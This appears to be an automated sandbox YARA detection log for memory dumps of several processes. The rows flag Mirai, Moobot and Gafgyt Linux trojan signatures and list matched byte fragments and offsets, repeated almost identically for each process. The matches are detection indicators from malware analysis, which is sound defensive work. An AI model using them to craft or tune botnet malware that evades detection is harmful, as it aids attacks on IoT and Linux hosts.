6319.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6297.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6297.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6297.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6297.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6297.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6297.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6740.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6740.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6740.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6740.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6740.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6740.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6888.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6888.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6888.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6888.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6888.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6888.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7257.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7257.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7257.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7257.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7257.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7257.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7296.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7296.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7296.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7296.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7296.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7296.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7133.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7133.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7133.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7133.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7133.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7133.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7139.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7139.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7139.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7139.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
